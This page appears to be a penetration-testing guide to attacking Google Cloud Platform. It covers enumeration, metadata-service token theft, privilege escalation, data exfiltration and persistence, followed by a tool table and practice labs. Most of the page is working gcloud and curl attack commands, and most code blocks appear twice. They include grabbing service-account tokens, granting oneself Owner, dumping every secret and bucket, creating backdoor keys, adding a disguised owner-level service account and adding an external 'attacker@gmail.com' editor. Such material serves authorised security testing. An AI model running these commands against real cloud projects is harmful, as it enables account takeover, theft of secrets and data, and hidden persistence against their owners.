Last reviewed

Cloud Security

GCP Pentesting

Google Cloud Platform (GCP) assessments focus on IAM service accounts, Cloud Storage buckets, Compute Engine instances, and Cloud Functions. GCP's service-account-centric model creates unique privilege escalation paths not found in AWS or Azure.

GCP Pentesting Kill Chain

flowchart LR R["🔍 Recon Project Enum Bucket Discovery"] --> IA["🚪 Initial Access SSRF / Metadata Exposed SA Keys"] IA --> E["📋 Enumerate IAM / SAs Services"] E --> PE["⬆️ Priv Esc SA Impersonation setIamPolicy"] PE --> LM["↔️ Lateral Move Cross-Project Workload Identity"] LM --> P["🔒 Persist SA Key Create Custom Roles"] P --> EX["📤 Exfiltrate GCS Sync Secrets Dump"]

Initial Access & Enumeration

Authentication & Project Discovery

auth-enum.sh
bash
# Authenticate with user credentials
gcloud auth login

# Authenticate with stolen service account key
gcloud auth activate-service-account --key-file=key.json

# Check current identity and active project
gcloud config list
gcloud auth list
gcloud projects list  # List all projects you have access to
gcloud config set project PROJECT_ID
# Authenticate with user credentials
gcloud auth login

# Authenticate with stolen service account key
gcloud auth activate-service-account --key-file=key.json

# Check current identity and active project
gcloud config list
gcloud auth list
gcloud projects list  # List all projects you have access to
gcloud config set project PROJECT_ID

IAM & Service Account Enumeration

iam-enum.sh
bash
# List service accounts (these are the primary attack targets in GCP)
gcloud iam service-accounts list --format="table(email,displayName,disabled)"

# Get project-level IAM policy (who has what roles)
gcloud projects get-iam-policy PROJECT_ID --format=json

# List all custom roles (may have overly permissive definitions)
gcloud iam roles list --project=PROJECT_ID

# Check your own permissions
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members"   --filter="bindings.members:$(gcloud config get-value account)"   --format="table(bindings.role)"

# Enumerate service account keys (look for user-managed keys)
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $SA ==="
  gcloud iam service-accounts keys list --iam-account="$SA" --format="table(keyId,keyType,validAfterTime)"
done
# List service accounts (these are the primary attack targets in GCP)
gcloud iam service-accounts list --format="table(email,displayName,disabled)"

# Get project-level IAM policy (who has what roles)
gcloud projects get-iam-policy PROJECT_ID --format=json

# List all custom roles (may have overly permissive definitions)
gcloud iam roles list --project=PROJECT_ID

# Check your own permissions
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members"   --filter="bindings.members:$(gcloud config get-value account)"   --format="table(bindings.role)"

# Enumerate service account keys (look for user-managed keys)
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $SA ==="
  gcloud iam service-accounts keys list --iam-account="$SA" --format="table(keyId,keyType,validAfterTime)"
done

Service Enumeration

service-enum.sh
bash
# Compute Engine instances (check for default SA, public IPs)
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"

# Storage buckets
gsutil ls
gsutil ls -L gs://bucket-name/  # Detailed listing with ACLs

# Check for PUBLIC buckets (unauthenticated)
curl -s "https://storage.googleapis.com/bucket-name/"

# Cloud Functions (code may contain secrets)
gcloud functions list --format="table(name,runtime,status,serviceAccountEmail)"
gcloud functions describe FUNCTION_NAME --format=json

# Cloud SQL instances (database endpoints)
gcloud sql instances list --format="table(name,databaseVersion,ipAddresses)"

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret="secret-name"

# Cloud Run services
gcloud run services list --format="table(name,region,URL)"

# GKE clusters
gcloud container clusters list --format="table(name,zone,status,currentNodeCount)"
# Compute Engine instances (check for default SA, public IPs)
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"

# Storage buckets
gsutil ls
gsutil ls -L gs://bucket-name/  # Detailed listing with ACLs

# Check for PUBLIC buckets (unauthenticated)
curl -s "https://storage.googleapis.com/bucket-name/"

# Cloud Functions (code may contain secrets)
gcloud functions list --format="table(name,runtime,status,serviceAccountEmail)"
gcloud functions describe FUNCTION_NAME --format=json

# Cloud SQL instances (database endpoints)
gcloud sql instances list --format="table(name,databaseVersion,ipAddresses)"

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret="secret-name"

# Cloud Run services
gcloud run services list --format="table(name,region,URL)"

# GKE clusters
gcloud container clusters list --format="table(name,zone,status,currentNodeCount)"

Metadata Service Exploitation

Warning

GCP metadata requires the Metadata-Flavor: Google header, which blocks most basic SSRF attacks. However, SSRF via user-controlled HTTP libraries that forward headers can still reach it.
metadata-exploitation.sh
bash
# GCP metadata service (requires header — unlike AWS IMDSv1)
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Instance identity and attributes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/

# Get the default service account access token (CRITICAL)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

# Get the service account email
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"

# Get custom metadata (startup scripts often contain secrets)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"

# Project-wide metadata
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/project/attributes/"

# Use stolen token from attacker machine
curl -H "Authorization: Bearer ya29.xxx"   "https://cloudresourcemanager.googleapis.com/v1/projects"
# GCP metadata service (requires header — unlike AWS IMDSv1)
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

# Instance identity and attributes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/

# Get the default service account access token (CRITICAL)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

# Get the service account email
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"

# Get custom metadata (startup scripts often contain secrets)
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"

# Project-wide metadata
curl -H "Metadata-Flavor: Google"   "http://169.254.169.254/computeMetadata/v1/project/attributes/"

# Use stolen token from attacker machine
curl -H "Authorization: Bearer ya29.xxx"   "https://cloudresourcemanager.googleapis.com/v1/projects"

Privilege Escalation

GCP privilege escalation revolves around service account impersonation and IAM policy manipulation. The iam.serviceAccounts.actAs permission is GCP's equivalent of AWS iam:PassRole.

Technique Required Permission Impact
Create SA key iam.serviceAccountKeys.create Persistent access as any SA
Impersonate SA token iam.serviceAccounts.getAccessToken Short-lived token as any SA
Set IAM policy resourcemanager.projects.setIamPolicy Grant yourself Owner role
Deploy Cloud Function as SA cloudfunctions.functions.create + actAs Execute code as privileged SA
Compute instance as SA compute.instances.create + actAs SSH into VM running as target SA
privilege-escalation.sh
bash
# === Service Account Key Creation (persistent backdoor) ===
# If you have iam.serviceAccountKeys.create on a high-priv SA:
gcloud iam service-accounts keys create /tmp/key.json   --iam-account=admin-sa@project-id.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json

# === Service Account Token Impersonation ===
# If you have iam.serviceAccounts.getAccessToken:
gcloud auth print-access-token --impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com

# === setIamPolicy — Grant yourself Owner ===
# Get current policy, add your account, set it back
gcloud projects get-iam-policy PROJECT_ID --format=json > /tmp/policy.json
# Edit policy.json to add your account as roles/owner
gcloud projects set-iam-policy PROJECT_ID /tmp/policy.json

# === Cloud Function priv esc (execute code as target SA) ===
cat > /tmp/main.py << 'FUNC'
import subprocess, json
def escalate(request):
    # This function runs as the SA assigned to it
    result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT_ID', '--format=json'],
                          capture_output=True, text=True)
    return result.stdout
FUNC
gcloud functions deploy escalate --runtime=python312 --trigger-http --allow-unauthenticated   --service-account=admin-sa@project-id.iam.gserviceaccount.com --source=/tmp/ --entry-point=escalate

# === Compute Engine priv esc (SSH into VM with target SA) ===
gcloud compute instances create privesc-vm --zone=us-central1-a   --service-account=admin-sa@project-id.iam.gserviceaccount.com   --scopes=cloud-platform --image-family=debian-12 --image-project=debian-cloud
gcloud compute ssh privesc-vm --zone=us-central1-a
# Now inside VM: curl metadata to get admin SA token
# === Service Account Key Creation (persistent backdoor) ===
# If you have iam.serviceAccountKeys.create on a high-priv SA:
gcloud iam service-accounts keys create /tmp/key.json   --iam-account=admin-sa@project-id.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json

# === Service Account Token Impersonation ===
# If you have iam.serviceAccounts.getAccessToken:
gcloud auth print-access-token --impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com

# === setIamPolicy — Grant yourself Owner ===
# Get current policy, add your account, set it back
gcloud projects get-iam-policy PROJECT_ID --format=json > /tmp/policy.json
# Edit policy.json to add your account as roles/owner
gcloud projects set-iam-policy PROJECT_ID /tmp/policy.json

# === Cloud Function priv esc (execute code as target SA) ===
cat > /tmp/main.py << 'FUNC'
import subprocess, json
def escalate(request):
    # This function runs as the SA assigned to it
    result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT_ID', '--format=json'],
                          capture_output=True, text=True)
    return result.stdout
FUNC
gcloud functions deploy escalate --runtime=python312 --trigger-http --allow-unauthenticated   --service-account=admin-sa@project-id.iam.gserviceaccount.com --source=/tmp/ --entry-point=escalate

# === Compute Engine priv esc (SSH into VM with target SA) ===
gcloud compute instances create privesc-vm --zone=us-central1-a   --service-account=admin-sa@project-id.iam.gserviceaccount.com   --scopes=cloud-platform --image-family=debian-12 --image-project=debian-cloud
gcloud compute ssh privesc-vm --zone=us-central1-a
# Now inside VM: curl metadata to get admin SA token

Post-Exploitation & Persistence

post-exploitation.sh
bash
# === Data Exfiltration ===
# Sync entire bucket to local disk
gsutil -m cp -r gs://sensitive-bucket/ ./exfil/

# Dump all secrets from Secret Manager
for secret in $(gcloud secrets list --format="value(name)"); do
  echo "=== $secret ==="
  gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done

# Export Cloud SQL database
gcloud sql export sql INSTANCE_NAME gs://your-bucket/dump.sql --database=production

# Download Cloud Function source code (may contain hardcoded secrets)
for func in $(gcloud functions list --format="value(name)"); do
  echo "[+] Downloading $func"
  gcloud functions describe "$func" --format="value(sourceArchiveUrl)" | xargs -I{} gsutil cp {} "/tmp/$func.zip"
  unzip -o "/tmp/$func.zip" -d "/tmp/$func/" 2>/dev/null
  grep -rn "password|secret|key|token|api_key" "/tmp/$func/" 2>/dev/null
done

# === Persistence ===
# 1. Create SA key for long-term access
gcloud iam service-accounts keys create /tmp/backdoor-key.json   --iam-account=existing-sa@project-id.iam.gserviceaccount.com

# 2. Create a new service account that blends in
gcloud iam service-accounts create svc-monitoring-agent --display-name="Monitoring Agent"
gcloud projects add-iam-policy-binding PROJECT_ID   --member="serviceAccount:svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com"   --role="roles/owner"
gcloud iam service-accounts keys create /tmp/persist.json   --iam-account=svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com

# 3. Add external account to IAM policy (cross-org persistence)
gcloud projects add-iam-policy-binding PROJECT_ID   --member="user:attacker@gmail.com" --role="roles/editor"

# === Audit Log Awareness ===
# Check which services have audit logging enabled
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.auditConfigs'
# Note: Admin Activity logs are always on; Data Access logs may not be enabled
# === Data Exfiltration ===
# Sync entire bucket to local disk
gsutil -m cp -r gs://sensitive-bucket/ ./exfil/

# Dump all secrets from Secret Manager
for secret in $(gcloud secrets list --format="value(name)"); do
  echo "=== $secret ==="
  gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done

# Export Cloud SQL database
gcloud sql export sql INSTANCE_NAME gs://your-bucket/dump.sql --database=production

# Download Cloud Function source code (may contain hardcoded secrets)
for func in $(gcloud functions list --format="value(name)"); do
  echo "[+] Downloading $func"
  gcloud functions describe "$func" --format="value(sourceArchiveUrl)" | xargs -I{} gsutil cp {} "/tmp/$func.zip"
  unzip -o "/tmp/$func.zip" -d "/tmp/$func/" 2>/dev/null
  grep -rn "password|secret|key|token|api_key" "/tmp/$func/" 2>/dev/null
done

# === Persistence ===
# 1. Create SA key for long-term access
gcloud iam service-accounts keys create /tmp/backdoor-key.json   --iam-account=existing-sa@project-id.iam.gserviceaccount.com

# 2. Create a new service account that blends in
gcloud iam service-accounts create svc-monitoring-agent --display-name="Monitoring Agent"
gcloud projects add-iam-policy-binding PROJECT_ID   --member="serviceAccount:svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com"   --role="roles/owner"
gcloud iam service-accounts keys create /tmp/persist.json   --iam-account=svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com

# 3. Add external account to IAM policy (cross-org persistence)
gcloud projects add-iam-policy-binding PROJECT_ID   --member="user:attacker@gmail.com" --role="roles/editor"

# === Audit Log Awareness ===
# Check which services have audit logging enabled
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.auditConfigs'
# Note: Admin Activity logs are always on; Data Access logs may not be enabled

GCP Tools

Tool Category Best For
GCPBucketBrute Enumeration Brute-force bucket discovery and ACL testing
gcp_enum Enumeration Automated GCP resource enumeration and export
Hayat Exploitation IAM privilege escalation path discovery
ScoutSuite Auditing Multi-cloud security audit with HTML reports
Prowler Auditing CIS benchmark compliance checking
gcloud CLI Client Official CLI — essential for manual testing

GCP Pentesting Labs

Hands-on labs targeting GCP-specific attack techniques.

Service Account Key Theft & Impersonation Custom Lab medium
Deploy a Compute Engine VM with a default service accountExploit metadata service to retrieve the SA access tokenUse the token to enumerate project IAM policies and storage bucketsCreate a new SA key for persistent access (iam.serviceAccountKeys.create)Impersonate the SA from your local machine using the key fileClean up: delete the key and revoke the token
GCP Privilege Escalation via setIamPolicy Custom Lab hard
Start with a service account that has resourcemanager.projects.setIamPolicyGet the current project IAM policy and identify escalation pathsGrant your account the Owner role via setIamPolicyDeploy a Cloud Function as a highly privileged SA (actAs + create)Extract secrets from Secret Manager and Cloud SQLDocument the full privilege escalation chain with evidence
GCS Bucket Misconfiguration Audit Custom Lab easy
Use GCPBucketBrute to discover public buckets in the lab projectCheck bucket-level and object-level ACLs with gsutilAttempt unauthenticated reads and writes to misconfigured bucketsRun ScoutSuite or Prowler against the project for comprehensive findingsMap findings to CIS GCP Foundations Benchmark controls